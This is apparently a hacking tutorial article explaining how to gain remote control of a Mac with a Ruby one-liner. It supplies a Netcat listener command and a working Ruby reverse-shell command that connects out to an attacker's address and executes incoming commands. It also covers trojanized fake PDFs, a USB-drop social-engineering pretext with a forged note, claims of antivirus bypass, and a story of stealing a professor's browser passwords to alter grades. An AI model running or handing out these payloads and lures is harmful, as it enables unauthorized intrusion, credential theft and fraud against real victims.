How to Hack a MacBook with One Ruby Command

With just one line of Ruby code embedded into a fake PDF, a hacker can remotely control any Mac computer from anywhere in the world. Creating the command is the easy part, but getting the target to open the code is where a hacker will need to get creative.

Ruby is just one way to backdoor into a computer running macOS (previously Mac OS X) to gain full control remotely. We've covered one-line commands that used Python, Tclsh, or Bash, but some of the most popular exploitation frameworks are written in Ruby, so it's a classic option for newbies.

What Is Ruby?

When coming up with Ruby, its creator, Yukihiro "Matz" Matsumoto, wanted a programming language that was more powerful than Perl, more object-oriented than Python, and simple in appearance with the potential for very complex functionalities.

Much of Ruby's growth can be attributed to Ruby on Rails, a popular, full-featured, server-side web application framework for easily building websites. It is for these reasons Ruby is among the top most popular coding languages in the world and included in all Macs by default.

Based on your coding experience as a penetration tester, Ruby may be a preferred language for tactical engagements. There's no major benefit or disadvantage to using Ruby over Python, Tclsh, or Bash to backdoor a Mac, so Ruby is just as good an option as any.

Step 1 Start a Netcat Listener

To start using Ruby as a backdooring mechanism, open a terminal in Kali (or any Unix-based operating system with Netcat installed), and use the below Netcat command to start a listener. This is where the target macOS device will connect to when the Ruby command is executed.

```
nc -v -l -p 9999
```

- Netcat will open a listening (**-l**) port on every available interface.
- If you're working in a local network, the Netcat listener will be available on your local address (e.g., **192.168.0.X**). If the listener is started on a virtual private server (VPS), be sure to use the IP address of your VPS in future Ruby commands.
- The port (**-p**) number (**9999**) is arbitrary and can be changed.
- The verbosity (**-v**) argument is important here. Without this, when a connection to the target MacBook, Mac Pro, or any other computer running macOS is established, the Netcat terminal will not change. To provide some sort of indication the payload was executed successfully, enable verbosity.

Step 2 Use Ruby to Create a Backdoor

Execute this in the macOS device to create a backdoor to the Netcat listener:

```
ruby -rsocket -e "c=TCPSocket.new('1.2.3.4','9999');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
```

This one-liner above will create a TCP socket (**TCPSocket.new**) and a while loop (**while ... end**) that says "while there's data coming in, assign it to **cmd**, run the input as a shell command, and print it back in our terminal (**IO.popen(cmd,'r'){|io|c.print io.read}**)." Essentially, we're telling Ruby to take the command we submit, execute it, interpret the output, and send it back to us ... over and over again until we break the connection to the macOS device.

Remember to change the IP address (**1.2.3.4**) and port number (**9999**) to match the Netcat listener created in the previous step. This can be a local network IP address or IP address of your VPS. On the attacker's system (as shown below), the Netcat terminal will show a new connection was established.

```
nc -v -l -p 9999
listening on [any] 9999 ...
connect to [192.168.1.55] from (UNKNOWN) [192.168.1.31] 50328
```

Situational-awareness and post-exploitation attacks can begin. If this Ruby command is embedded into a trojanized PDF and run by the target, you will not have root access. In that case, there are several ways of gaining privilege access. If Ruby was used to physically backdoor a macOS device, you'll have root and can begin dumping passwords stored in the target's web browsers. Either way, this Ruby command will completely bypass antivirus software like Avast and AVG.

Step 3 Use a Social Engineering Attack

Such payloads can be executed using a USB Rubby Ducky or easily embedded into AppleScripts and sent to the victim. There are many ways to get the payload to the target, but you'll need to utilize your social engineering skills to get them to open it.

Just as I did with the Python, Tclsh, or Bash one-liners, below is a short story that illustrates how easy it would be for a hacker to share a trojanized file, in this case, an AppleScript. While this story is completely fictional and hypothetical, I did test the featured Ruby payload against macOS High Sierra where Avast antivirus software was installed.

The College Professor & the Fake PDF

A student at a prestigious university was failing the semester and wanted to change their exam scores to pass the course. The university's website used by professors required an email address and password to modify student grades and information, so the student decided to hack their professor to learn their login credentials and change their grade. To do this, the student crafted several fake PDFs with AppleScript and embedded a Ruby payload into each one.

```
ruby -rsocket -e "c=TCPSocket.new('1.2.3.4','9999');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
```

The student hoped to later dump passwords stored in the professor's web browser to learn their login credentials.

After moving the fake PDFs to the USB, the student arrived at school an hour before anyone else and placed the USB on the professor's desk with a handwritten note.

Professor,

As per professor Jessica Barker's request, on the USB is the itinerary for this year's academic field trip and the invoices for the expenses. Please review them at your earliest convenience.

~David Pacios

The student signed the note as another professor who was likely involved in the university's annual field trip to create a strong sense of legitimacy in the message.

Upon arrival, the professor noticed the USB and note on their desk. After inserting the USB and double-clicking the PDFs to review them, nothing appeared to happen as the

Ruby payloads executed silently in the background. Confused, the professor opened his Mail application and composed an email message to David.

Hey David,

The PDFs on this USB don't seem to open. Can you try sending them to me via email? Thanks.

~Hacked Professor

After the student gained remote access to the MacBook, he dumped the passwords stored in the Firefox browser to learn the professor's login password and changed his exam scores to a passing grade.

Stay Tuned for More One-Liner Payloads...

This is just another example of how hackers, with a single command, are capable of compromising macOS devices — but I'm not done pwning Macs with one command yet. In future articles, I'll continue to show how to use programs that are built into macOS to grant hackers full remote access.